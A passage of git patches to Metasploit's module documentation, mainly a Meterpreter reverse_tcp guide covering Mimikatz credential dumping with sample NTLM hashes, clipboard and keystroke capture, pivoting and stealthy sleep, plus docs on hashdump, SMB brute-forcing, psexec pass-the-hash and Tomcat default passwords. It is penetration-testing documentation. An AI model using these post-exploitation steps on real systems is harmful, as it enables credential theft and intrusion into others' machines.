please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Reliable-Network-Communication). + +**Meterpreter Sleep Control** + +The sleep mode allows the payload on the target machine to be quiet for awhile, mainly in order to +avoid suspicious active communication, also better efficiency. + +It is very simple to use. At the meterpreter prompt, simply do: + +``` +meterpreter > sleep 20 +``` + +And that will allow meterpreter to sleep 20 seconds, and will reconnect. + +To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Sleep-Control). + +**Meterpreter Stageless Mode** + +A stageless meterpreter allows a more economical way to deliver the payload, for cases where a +normal one would actually cost too much time and bandwidth in a penetration test. To learn more +about this, [click on this](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode) to read more. + +To use the stageless payload, use ```windows/meterpreter_reverse_tcp``` instead. + +**Meterpreter Timeout Control** + +The timeout control basically defines the life span of meterpreter. To configure, use the +```set_timeouts``` command: + +``` +meterpreter > set_timeouts +Usage: set_timeouts [options] + +Set the current timeout options. +Any or all of these can be set at once. + +OPTIONS: + + -c Comms timeout (seconds) + -h Help menu + -t Retry total time (seconds) + -w Retry wait time (seconds) + -x Expiration timout (seconds) +``` + +To see the current timeout configuration, you can use the ```get_timeouts``` command: + +``` +meterpreter > get_timeouts +Session Expiry : @ 2016-03-11 21:15:58 +Comm Timeout : 300 seconds +Retry Total Time: 3600 seconds +Retry Wait Time : 10 seconds +``` + +To learn more about timeout control, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Timeout-Control). + +**Meterpreter Transport Control** + +https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control + +## Using the Post Exploitation API in IRB + +To enter IRB, at the meterpreter prompt, do like the following: + +``` +meterpreter > irb +[*] Starting IRB shell +[*] The 'client' variable holds the meterpreter client + +>> +``` + +**The client object** + +The client object in meterpreter's IRB allows you control, or retrieve information about the host. +For example, this demonstrates how to obtain the current privilege we're running the payload as: + +```ruby +>> client.sys.config.getuid +``` + +To explore the client object, there are a few tricks. For example, you can use the #inspect method +to inspect it: + +``` +>> client.inspect +``` + +You can use the #methods method to see what methods you can use: + +``` +>> client.methods +``` + +To find the source of the method, you can use the #source_location method. For example, say I want +to find the source code for the #getuid method: + +``` +>> client.sys.config.method(:getuid).source_location +=> ["/Users/user/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32] +``` + +The first element of the array is the location of the file. The second element is the line number +of the method. + +**Using Railgun** + +Railgun allows you to use the remote machine's Windows API in Ruby. For example, to create a +MessageBox on the target machine, do: + +``` +>> client.railgun.user32.MessageBoxA(0, "hello, world", "hello", "MB_OK") +=> {"GetLastError"=>0, "ErrorMessage"=>"The operation completed successfully.", "return"=>1} +``` + +To learn more about using Railgun, please read this [wiki](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Railgun-for-Windows-post-exploitation). + From b82b1b0a4779b42acc4a7386925324dbc4a2c9ba Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 5 Mar 2016 15:14:05 -0600 Subject: [PATCH 52/96] Update windows/meterpreter/reverse_tcp doc --- .../windows/meterpreter/reverse_tcp.md | 189 ++++++++++++++++-- 1 file changed, 170 insertions(+), 19 deletions(-) diff --git a/documentation/modules/payload/windows/meterpreter/reverse_tcp.md b/documentation/modules/payload/windows/meterpreter/reverse_tcp.md index b9693cfb0f..49b6fab838 100644 --- a/documentation/modules/payload/windows/meterpreter/reverse_tcp.md +++ b/documentation/modules/payload/windows/meterpreter/reverse_tcp.md @@ -9,13 +9,17 @@ windows/meterpreter/reverse_tcp is also the default payload for all Windows expl ## Vulnerable Application -This meterpreter payload is suitable for the following environments: +--- + +This Meterpreter payload is suitable for the following environments: * Windows x64 * Windows x86 ## Verification Steps +--- + windows/meterpreter/reverse_tcp is typically used in two different ways. First, it is typically used as a payload for an exploit. Here's how to do that: @@ -39,6 +43,8 @@ as an executable: ## Important Basic Commands +--- + **pwd command** The ```pwd``` command allows you to see the current directory you're in on the remote target. @@ -179,7 +185,7 @@ Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\user\Desktop> ``` -To switch back to meterpreter, do [CTRL]+[Z] to background the channel. +To switch back to Meterpreter, do [CTRL]+[Z] to background the channel. **sysinfo command** @@ -199,7 +205,7 @@ meterpreter > **keyscan_start** -The ```keyscan_start`` command starts the keylogging feature on the remote machine. +The ```keyscan_start``` command starts the keylogging feature on the remote machine. **keyscan_dump** @@ -275,6 +281,8 @@ SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:e09fcdea29d93203c925b2056 ## Scenarios +--- + **Setting up for Testing** For testing purposes, if you're tired of manually generating a payload and starting a multi handler @@ -306,24 +314,161 @@ msf exploit(handler) > Next, go to your ~/.msf4/local directory, you should see meterpreter_reverse_tcp.exe in there. Upload that payload to your test box, execute it, and you should receive a connection. +**Using a Post Module** -**Antivirus Evasion** +One of the best things about using Meterpreter is you have access to a variety of post exploitation +modules, specifically the multi and Windows categories. Post modules provide more abilities to +control of collect data from the remote machine automatically. For example: stealing passwords +from popular applications, enumerate or modify system settings, etc. + +To use a post module from the Meterpreter prompt. Simply use the ```run``` command, like so: + +``` +meterpreter > run post/windows/gather/checkvm + +[*] Checking if WIN-6NH0Q8CJQVM is a Virtual Machine ..... +[*] This is a VMware Virtual Machine +meterpreter > +``` + +It is also possible to run a post module via multiple Meterpreter sessions. To learn how, load +the specific post module you wish to run, and enter ```info -d``` to see the basic usage in the +documentation. -.. **Using the Mimikatz Extension** -.. +[Mimikatz](https://github.com/gentilkiwi/mimikatz) is a well known tool to extract passwords, hashes, PIN code, and kerberos tickets from +memory on Windows. This might actually be the first thing you want to use as soon as you get a +high-privileged session (such as SYSTEM). + +To begin, load the extension: + +``` +meterpreter > load mimikatz +Loading extension mimikatz...success. +meterpreter > +``` + +This will create more commands for the Meterpreter prompt, most of them are meant to be used to +retrieve user names/hashes/passwords and other information: + +``` +Mimikatz Commands +================= + + Command Description + ------- ----------- + kerberos Attempt to retrieve kerberos creds + livessp Attempt to retrieve livessp creds + mimikatz_command Run a custom command + msv Attempt to retrieve msv creds (hashes) + ssp Attempt to retrieve ssp creds + tspkg Attempt to retrieve tspkg creds + wdigest Attempt to retrieve wdigest creds +``` + +An example of using ```msv```: + +``` +meterpreter > msv +[+] Running as SYSTEM +[*] Retrieving msv credentials +msv credentials +=============== + +AuthID Package Domain User Password +------ ------- ------ ---- -------- +0;313876 NTLM WIN-6NH0Q8CJQVM user10 lm{ 0363cb92c563245c447eaf70cfac29c1 }, ntlm{ 16597a07ce66307b3e1a5bd1b7abe123 } +0;313828 NTLM WIN-6NH0Q8CJQVM user10 lm{ 0363cb92c563245c447eaf70cfac29c1 }, ntlm{ 16597a07ce66307b3e1a5bd1b7abe123 } +0;996 Negotiate WORKGROUP WIN-6NH0Q8CJQVM$ n.s. (Credentials KO) +0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO) +0;45518 NTLM n.s. (Credentials KO) +0;999 NTLM WORKGROUP WIN-6NH0Q8CJQVM$ n.s. (Credentials KO) +``` + **Using the extapi Extension** -.. +The main purpose of the extapi extension is for advanced enumeration of the target machine. For +example: registered services, open windows, clipboard, ADSI, WMI queries, etc. + +To begin, at the Meterpreter prompt, do: + +``` +meterpreter > load extapi +Loading extension extapi...success. +meterpreter > +``` + +One great feature of the extension is clipboard management. The Windows clipboard is interesting, +because it can store anything sensitive: files, user names, passwords, etc, but not well protected. + +For example: A password manager is a popular tool to store passwords encrypted. It allows the user +to create complex passwords without the need to memorize any of them. All the user needs to do is +open the password manager, retrieve the password for a particular account by copying it, and then +paste it on a login page. + +There is a security problem to the above process. When the user copies the password, it is stored +in the operating system's clipboard. As an attacker, you can take advantage of this by starting the +clipboard monitor from Meterpreter/extapi, and then collect whatever the user copies. + +To read whatever is currently stored in the target's clipboard, you can use the clipboard_get_data +commnad: + +``` +meterpreter > clipboard_get_data +Text captured at 2016-03-05 19:13:39.0170 +========================================= +hello, world!! +========================================= + +meterpreter > +``` + +The limitation of this command is that since you're only grabbing whatever is in the clipboard at +the time, there is only one item to collect. However, when you start a monitor, you can collect +whatever goes in there. To start, issue the following command: + +``` +meterpreter > clipboard_monitor_start +[+] Clipboard monitor started +meterpreter > +``` + +While it is monitoring, you can ask Meterpreter to dump whatever's been captured. + +``` +meterpreter > clipboard_monitor_dump +Text captured at 2016-03-05 19:18:18.0466 +========================================= +this is fun. +========================================= + +Files captured at 2016-03-05 19:20:07.0525 +========================================== +Remote Path : C:\Users\user\Desktop\cat_pic.png +File size : 37627 bytes +downloading : C:\Users\user\Desktop\cat_pic.png -> ./cat_pic.png +download : C:\Users\user\Desktop\cat_pic.png -> ./cat_pic.png + +========================================== + +[+] Clipboard monitor dumped +meterpreter > +``` + +The ```clipboard_monitor_stop``` command will also dump the captured data, and then exit. + +Combined with Meterpreter's keylogger, you have a very effective setup to capture the user's +inputs. + **Using the Python Extension** The Python extension allows you to use the remote machine's Python interpreter. -To load the extension, at the meterpreter prompt, do: +To load the extension, at the Meterpreter prompt, do: ``` meterpreter > use python @@ -370,7 +515,7 @@ To learn more about the Python extension, please read this [wiki](https://github **Network Pivoting** There are three mains ways that you can use for moving around inside a network: the route command -in the msf prompt, in the meterpreter prompt, and portfwd. +in the msf prompt, in the Meterpreter prompt, and portfwd. The route command from the msf prompt allows you connect to hosts on a different network through the compromised machine. You should be able to determine that by looking at the compromised @@ -410,7 +555,7 @@ IPv4 Netmask : 255.255.255.255 ... ``` -The above shows that we have a meterpreter connection to 192.168.1.201 - let's call this box A. +The above shows that we have a Meterpreter connection to 192.168.1.201 - let's call this box A. And then box A is connected to the 192.100.0.0/24 VPN network. We as an attacker aren't connected to this network directly, but we can explore that network through box A. So here's what we do by routing: @@ -440,7 +585,7 @@ Another neat trick using route is that you can also bypass the compromised host' way. For example, if the host has HTTP open, but SMB blocked by the firewall. You can try to compromise it via HTTP first, use the route command to talk to SMB, and then try to exploit SMB. -The route command in meterpreter allows you change the routing table that is on the target machine. +The route command in Meterpreter allows you change the routing table that is on the target machine. The way it needs to be configured is similar to the route command in msf. The portfwd command allows you to talk to a remote service like it's local. For example, if you @@ -459,7 +604,7 @@ rdesktop 127.0.0.1 **Meterpreter Paranoid Mode** -The paranoid mode forces the handler to be strict about which meterpreter should be connecting to +The paranoid mode forces the handler to be strict about which Meterpreter should be connecting to it, hence the name "paranoid mode". To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode). @@ -477,19 +622,19 @@ To learn more about this feature, please [click here](https://github.com/rapid7/ The sleep mode allows the payload on the target machine to be quiet for awhile, mainly in order to avoid suspicious active communication, also better efficiency. -It is very simple to use. At the meterpreter prompt, simply do: +It is very simple to use. At the Meterpreter prompt, simply do: ``` meterpreter > sleep 20 ``` -And that will allow meterpreter to sleep 20 seconds, and will reconnect. +And that will allow Meterpreter to sleep 20 seconds, and will reconnect. To learn more about this feature, please [click here](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Sleep-Control). **Meterpreter Stageless Mode** -A stageless meterpreter allows a more economical way to deliver the payload, for cases where a +A stageless Meterpreter allows a more economical way to deliver the payload, for cases where a normal one would actually cost too much time and bandwidth in a penetration test. To learn more about this, [click on this](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Stageless-Mode) to read more. @@ -497,7 +642,7 @@ To use the stageless payload, use ```windows/meterpreter_reverse_tcp``` instead. **Meterpreter Timeout Control** -The timeout control basically defines the life span of meterpreter. To configure, use the +The timeout control basically defines the life span of Meterpreter. To configure, use the ```set_timeouts``` command: ``` @@ -530,11 +675,17 @@ To learn more about timeout control, please [click here](https://github.com/rapi **Meterpreter Transport Control** -https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control +Transport Control allows you manage transports on the fly while the payload session is still +running. Meterpreter can automatically cycle through the transports when communication fails, +or you can do so manually. + +To learn more about this, please read this [documentation](https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Transport-Control). ## Using the Post Exploitation API in IRB -To enter IRB, at the meterpreter prompt, do like the following: +--- + +To enter IRB, at the Meterpreter prompt, do like the following: ``` meterpreter > irb @@ -546,7 +697,7 @@ meterpreter > irb **The client object** -The client object in meterpreter's IRB allows you control, or retrieve information about the host. +The client object in Meterpreter's IRB allows you control, or retrieve information about the host. For example, this demonstrates how to obtain the current privilege we're running the payload as: ```ruby From 03eb568af72d3b55977ba0201bc14ec564ad4c6d Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 5 Mar 2016 15:17:19 -0600 Subject: [PATCH 53/96] Add --- to make sections to stand out more --- data/markdown_doc/module_doc_template.md | 10 +++++++++- .../modules/auxiliary/scanner/smb/smb_login.md | 6 ++++++ .../modules/auxiliary/server/browser_autopwn2.md | 10 ++++++++++ .../modules/exploit/multi/script/web_delivery.md | 6 ++++++ .../modules/exploit/windows/smb/ms08_067_netapi.md | 8 ++++++++ documentation/modules/exploit/windows/smb/psexec.md | 8 ++++++++ 6 files changed, 47 insertions(+), 1 deletion(-) diff --git a/data/markdown_doc/module_doc_template.md b/data/markdown_doc/module_doc_template.md index acc95041fd..ebaafa6e96 100644 --- a/data/markdown_doc/module_doc_template.md +++ b/data/markdown_doc/module_doc_template.md @@ -4,10 +4,14 @@ But feel free to add more content/sections to this. ## Vulnerable Application +--- + Instructions to get the vulnerable application. ## Verification Steps +--- + Example steps in this format: 1. Install the application @@ -18,13 +22,17 @@ But feel free to add more content/sections to this. ## Options +--- + **Option name** Talk about what it does, and how to use it appropriately. ## Scenarios - Specific demo of using the module: +--- + + Specific demo of using the module that might be useful in a real world scenario. ``` code or console output diff --git a/documentation/modules/auxiliary/scanner/smb/smb_login.md b/documentation/modules/auxiliary/scanner/smb/smb_login.md index e0e9391b68..21ec74f4de 100644 --- a/documentation/modules/auxiliary/scanner/smb/smb_login.md +++ b/documentation/modules/auxiliary/scanner/smb/smb_login.md @@ -4,10 +4,14 @@ and log into more machines. ## Vulnerable Application +--- + To use smb_login, make sure you are able to connect to a SMB service that supports SMBv1. ## Verification Steps +--- + The following demonstrates a basic scenario of using the [built-in wordlists](https://github.com/rapid7/metasploit-framework/tree/master/data/wordlists) to brute-force SMB: ``` @@ -42,6 +46,8 @@ msf auxiliary(smb_login) ## Options +--- + By default, the smb_login module only requires the RHOSTS option to run. But in reality, you will also need to supply user names and passwords. The following options are available to support different credential formats: diff --git a/documentation/modules/auxiliary/server/browser_autopwn2.md b/documentation/modules/auxiliary/server/browser_autopwn2.md index c09b71ff47..477d87da29 100644 --- a/documentation/modules/auxiliary/server/browser_autopwn2.md +++ b/documentation/modules/auxiliary/server/browser_autopwn2.md @@ -3,6 +3,8 @@ feel different for you. Here are the features you should know about before using ## Vulnerable Applications +--- + Browser Autopwn 2 is capable of targeting popular browsers and 3rd party plugins, such as: * Internet Explorer @@ -14,6 +16,8 @@ Browser Autopwn 2 is capable of targeting popular browsers and 3rd party plugins ## Exploit URLs +--- + Normally, the only URL you need to care about is the **BrowserAutoPwn URL**. This is the URL you should send to the targets you wish to attack. @@ -29,6 +33,8 @@ used, including the URLs. ## Browser Autopwn 2 Options +--- + **The HTMLContent Option** The HTMLContent option allows you to serve a basic HTML web page to the browser instead of having a @@ -137,6 +143,8 @@ set ExploitReloadTimeout 5000 ## Scenarios +--- + By default, Browser Autopwn 2 goes through the entire exploit module tree, and will try to use different types of exploits - Firefox, Internet Explorer, Adobe Flash, Android, etc. If you want to test a specific application, basically all you need to do is setting the @@ -158,6 +166,8 @@ $ ./msfconsole -q -r scripts/resource/bap_flash_only.rc ## Logging +--- + In addition, when a browser connects to BAP, this link-clicking event is also logged to the database as a "bap.clicks" note type. If the ShowExploitList option is set to true, that will also save the exploit list information so that after testing you can go back to the database and see diff --git a/documentation/modules/exploit/multi/script/web_delivery.md b/documentation/modules/exploit/multi/script/web_delivery.md index f5208585ee..b36879b5d9 100644 --- a/documentation/modules/exploit/multi/script/web_delivery.md +++ b/documentation/modules/exploit/multi/script/web_delivery.md @@ -11,6 +11,8 @@ say the target supports Powershell. ## Verification Steps +--- + To be able to use web_delivery, you must gain access to the target machine first, with the ability to execute either the Python, or PHP, or Powershell interpreter. @@ -44,6 +46,8 @@ php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.23.1:8080/ ## Targets +--- + **Python** Python is a fairly popular language, especially on unix-based systems. For example, it comes with @@ -61,6 +65,8 @@ don't come with it by default, but it is still possible to see it installed on a ## Scenarios +--- + **Against a compromised web application** web_delivery would work nicely for a web application with a command execution vulnerability. diff --git a/documentation/modules/exploit/windows/smb/ms08_067_netapi.md b/documentation/modules/exploit/windows/smb/ms08_067_netapi.md index 6af5b746ad..14c1e4efef 100644 --- a/documentation/modules/exploit/windows/smb/ms08_067_netapi.md +++ b/documentation/modules/exploit/windows/smb/ms08_067_netapi.md @@ -9,6 +9,8 @@ vulnerable code path, not just passively. ## Vulnerable Application +--- + This exploit works against a vulnerable SMB service from one of these Windows systems: * Windows 2000 @@ -20,14 +22,20 @@ the system's patch level, or use a vulnerability check. ## Verification Steps +--- + Please see Basic Usage under Overview. ## Options +--- + Please see Required Options under Overview. ## Scenarios +--- + **Failure to detect the language pack** On some Windows systems, ms08_067_netapi (as well as other SMB modules) might show you this diff --git a/documentation/modules/exploit/windows/smb/psexec.md b/documentation/modules/exploit/windows/smb/psexec.md index 5fe2abe0c5..ba096f6330 100644 --- a/documentation/modules/exploit/windows/smb/psexec.md +++ b/documentation/modules/exploit/windows/smb/psexec.md @@ -9,6 +9,8 @@ you normally would with any Metasploit exploits. ## Vulnerable Application +--- + To be able to use exploit/windows/smb/psexec, you must meet these requirements: 1. You have a valid username/password. @@ -18,6 +20,8 @@ To be able to use exploit/windows/smb/psexec, you must meet these requirements: ## Verification Steps +--- + At the minimum, you should be able use psexec to get a session with a valid credential: ``` @@ -46,6 +50,8 @@ meterpreter > ## Options +--- + By default, exploit/windows/smb/psexec can be as simple as setting the RHOST option, and ready to go. But in reality, you will probably need to at least configure: @@ -59,6 +65,8 @@ This can be either the plain text version, or the Windows hash. ## Scenarios +--- + **Pass the Hash** From 027315eeaa1c2f3b3c5a7bc9433dcae3c4d4a0c7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 5 Mar 2016 20:33:40 -0600 Subject: [PATCH 54/96] Update post_demo_template --- data/markdown_doc/post_demo_template.erb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/data/markdown_doc/post_demo_template.erb b/data/markdown_doc/post_demo_template.erb index 20239bbfe6..94fe5685fe 100644 --- a/data/markdown_doc/post_demo_template.erb +++ b/data/markdown_doc/post_demo_template.erb @@ -1,12 +1,16 @@ There are two ways to execute this post module. -The first is by using the "run" command at the meterpreter prompt. It allows you to run the post +**From the Meterpreter prompt** + +The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session: ``` meterpreter > run <%= mod.fullname %> ``` +**From the msf prompt** + The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command. From 1bfbbe918ccc3d5852b42b81442a9996c016ad29 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 7 Mar 2016 12:17:21 -0600 Subject: [PATCH 55/96] Add documentation for post/windows/gather/hashdump --- .../modules/post/windows/gather/hashdump.md | 47 +++++++++++++++++++ 1 file changed, 47 insertions(+) create mode 100644 documentation/modules/post/windows/gather/hashdump.md diff --git a/documentation/modules/post/windows/gather/hashdump.md b/documentation/modules/post/windows/gather/hashdump.md new file mode 100644 index 0000000000..fa617fadc6 --- /dev/null +++ b/documentation/modules/post/windows/gather/hashdump.md @@ -0,0 +1,47 @@ +The post/gather/hashdump module functions similarly to Meterpreter's built-in hashdump command. +Having this feature as a post module allows it to be used in different penetration testing +scenarios. + + +## Vulnerable Application + +--- + +To be able to use post/gather/hash_dump, you must meet these requirements: + +* You are on a Meterpreter type session. +* Target is a Windows platform. +* Execute it under the context of a high privilege account, such as SYSTEM. + +## Verification Steps + +--- + +Please see Overview for usage. + +## Scenarios + +--- + +**Upgrading to Meterpreter** + +To be able to use this module, a Meterpreter session is needed. To upgrade to this, the easiest +way is to use the post/multi/manage/shell_to_meterpreter module. Or, you can try: + +1. Use the exploit/multi/script/web_delivery module. +2. Manually generate a Meterpreter executable, upload it, and execute it. + +**High Privilege Account** + +Before using post/gather/hashdump, there is a possibility you need to escalate your privileges. +There are a few common options to consider: + +* Using a local exploit module. Or use Local Exploit Suggester, which automatically informs you + which exploits might be suitable for the remote target. +* getsystem. +* Stolen passwords. + +**Hashdump From Multiple Sessions** + +One major advantage of having hashdump as a post module is you can run against multiple hosts +easily. To learn how, refer to Overview for usage. From d859194e4e785694621f47a0e8409d33b1fb5325 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 7 Mar 2016 12:29:32 -0600 Subject: [PATCH 56/96] Update doc --- documentation/modules/post/windows/gather/hashdump.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/post/windows/gather/hashdump.md b/documentation/modules/post/windows/gather/hashdump.md index fa617fadc6..23da64bea1 100644 --- a/documentation/modules/post/windows/gather/hashdump.md +++ b/documentation/modules/post/windows/gather/hashdump.md @@ -38,7 +38,7 @@ There are a few common options to consider: * Using a local exploit module. Or use Local Exploit Suggester, which automatically informs you which exploits might be suitable for the remote target. -* getsystem. +* The getsystem command in Meterpreter. * Stolen passwords. **Hashdump From Multiple Sessions** From c2f99b559cc78d7bd10617c9b61d1b36b05f0958 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 7 Mar 2016 15:39:15 -0600 Subject: [PATCH 57/96] Add documentation for auxiliary/scanner/http/tomcat_enum Also fix a typo in normalizer --- lib/msf/util/document_generator/normalizer.rb | 2 +- modules/auxiliary/scanner/http/tomcat_enum.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb index 02a11c9544..635d7fda81 100644 --- a/lib/msf/util/document_generator/normalizer.rb +++ b/lib/msf/util/document_generator/normalizer.rb @@ -254,7 +254,7 @@ module Msf elsif mod.kind_of?(Msf::Payload) load_template(mod, PAYLOAD_DEMO_TEMPLATE) elsif mod.kind_of?(Msf::Auxiliary::Scanner) - load_template(mod, AUXILIARY_SCANNER_TEMPLATE) + load_template(mod, AUXILIARY_SCANNER_DEMO_TEMPLATE) elsif is_remote_exploit?(mod) load_template(mod, REMOTE_EXPLOIT_DEMO_TEMPLATE) else diff --git a/modules/auxiliary/scanner/http/tomcat_enum.rb b/modules/auxiliary/scanner/http/tomcat_enum.rb index 9a4c1e244f..9485355e03 100644 --- a/modules/auxiliary/scanner/http/tomcat_enum.rb +++ b/modules/auxiliary/scanner/http/tomcat_enum.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Auxiliary File.join(Msf::Config.data_directory, "wordlists", "tomcat_mgr_default_users.txt") ]), ], self.class) - deregister_options('PASSWORD','PASS_FILE','USERPASS_FILE','USER_AS_PASS','STOP_ON_SUCCESS','BLANK_PASSWORDS','USERNAME') + deregister_options('PASS_FILE','USERPASS_FILE','USER_AS_PASS','STOP_ON_SUCCESS','BLANK_PASSWORDS') end def has_j_security_check? From 26b64a0702b568f4f60e38adddeacb81761347be Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 7 Mar 2016 15:41:03 -0600 Subject: [PATCH 58/96] Add correct doc for tomcat_mgr_login --- .../scanner/http/tomcat_mgr_login.md | 51 +++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md diff --git a/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md b/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md new file mode 100644 index 0000000000..742c2fa780 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md @@ -0,0 +1,51 @@ +The auxiliary/scanner/http/tomcat_mgr_login works for Tomcat versions that uses HTTP +authentication. + +Please note that for Tomcat 7 or newer, the roles required to use the manager application were +changed from the single manager role to the following four roles: + +* manager-gui - allows access to the HTML GUI and the status pages. +* manager-script - allows access to the text interface and the status pages. +* manager-jmx - allows access to the JMX and the status pages. +* manager-status - allows access to the status pages only. + +Older versions of Tomcat came with default passwords enabled by default. For example: + +**Tomcat 4** + +``` +| Username | Password | Role | +| -------- | -------- | ------------- | +| tomcat | tomcat | tomcat | +| role1 | tomcat | role1 | +| both | tomcat | tomcat, role1 | +``` + +**Tomcat 5** + +Same as Tomcat 4 + +Newer Tomcat versions have these passwords commented out. + +If you are using the default Metasploit credential lists, these usernames and passwords are already +loaded. + + +## Vulnerable Application + +--- + +To download the vulnerable application, you can find it here: + +https://tomcat.apache.org/whichversion.html + +## Verification Steps + +--- + +Please see Overview for usage. + +1. Do: ```auxiliary/scanner/http/tomcat_mgr_login``` +2. Do: ```set RHOSTS [IP]``` +3. Set TARGETURI if necessary. +4. Do: ```run``` From ee63464b8c1f164227bb632680c5835c9f1660a7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 7 Mar 2016 15:41:54 -0600 Subject: [PATCH 59/96] Update doc --- .../modules/auxiliary/scanner/http/tomcat_mgr_login.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md b/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md index 742c2fa780..898b505370 100644 --- a/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md +++ b/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md @@ -43,8 +43,6 @@ https://tomcat.apache.org/whichversion.html --- -Please see Overview for usage. - 1. Do: ```auxiliary/scanner/http/tomcat_mgr_login``` 2. Do: ```set RHOSTS [IP]``` 3. Set TARGETURI if necessary. From 58b8c35146e3e3b6442e736fb7ac711547b80445 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 8 Mar 2016 10:10:10 -0600 Subject: [PATCH 60/96] Escape HTML for KB and update rspec --- data/markdown_doc/post_demo_template.erb | 4 +- lib/msf/util/document_generator/normalizer.rb | 54 ++++++++++--------- .../document_generator/normalizer_spec.rb | 20 +++---- 3 files changed, 41 insertions(+), 37 deletions(-) diff --git a/data/markdown_doc/post_demo_template.erb b/data/markdown_doc/post_demo_template.erb index 94fe5685fe..a934269b06 100644 --- a/data/markdown_doc/post_demo_template.erb +++ b/data/markdown_doc/post_demo_template.erb @@ -28,13 +28,13 @@ If you wish to run the post against all sessions from framework, here is how: 1 - Create the following resource script: ``` -<ruby> + framework.sessions.each_pair do |sid, session| run_single("use <%= mod.fullname %>") run_single("set SESSION #{sid}") run_single("run") end -</ruby> + ``` 2 - At the msf prompt, execute the above resource script: diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb index 635d7fda81..9cc92787e0 100644 --- a/lib/msf/util/document_generator/normalizer.rb +++ b/lib/msf/util/document_generator/normalizer.rb @@ -37,22 +37,22 @@ module Msf # Markdown templates # - CSS_BASE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'markdown.css')) - HTML_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'html_template.erb')) - TEMPLATE_PATH = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'default_template.erb')) + CSS_BASE_PATH = 'markdown.css' + HTML_TEMPLATE = 'html_template.erb' + TEMPLATE_PATH = 'default_template.erb' # # Demo templates # - REMOTE_EXPLOIT_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'remote_exploit_demo_template.erb')) - BES_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'bes_demo_template.erb')) - HTTPSERVER_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'httpserver_demo_template.erb')) - GENERIC_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'generic_demo_template.erb')) - LOCALEXPLOIT_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'localexploit_demo_template.erb')) - POST_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'post_demo_template.erb')) - AUXILIARY_SCANNER_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'auxiliary_scanner_template.erb')) - PAYLOAD_DEMO_TEMPLATE = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', 'payload_demo_template.erb')) + REMOTE_EXPLOIT_DEMO_TEMPLATE = 'remote_exploit_demo_template.erb' + BES_DEMO_TEMPLATE = 'bes_demo_template.erb' + HTTPSERVER_DEMO_TEMPLATE = 'httpserver_demo_template.erb' + GENERIC_DEMO_TEMPLATE = 'generic_demo_template.erb' + LOCALEXPLOIT_DEMO_TEMPLATE = 'localexploit_demo_template.erb' + POST_DEMO_TEMPLATE = 'post_demo_template.erb' + AUXILIARY_SCANNER_DEMO_TEMPLATE = 'auxiliary_scanner_template.erb' + PAYLOAD_DEMO_TEMPLATE = 'payload_demo_template.erb' # Returns the module document in HTML form. @@ -63,10 +63,11 @@ module Msf def get_md_content(items, kb) @md_template ||= lambda { template = '' - File.open(TEMPLATE_PATH, 'rb') { |f| template = f.read } + path = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', TEMPLATE_PATH)) + File.open(path, 'rb') { |f| template = f.read } return template }.call - 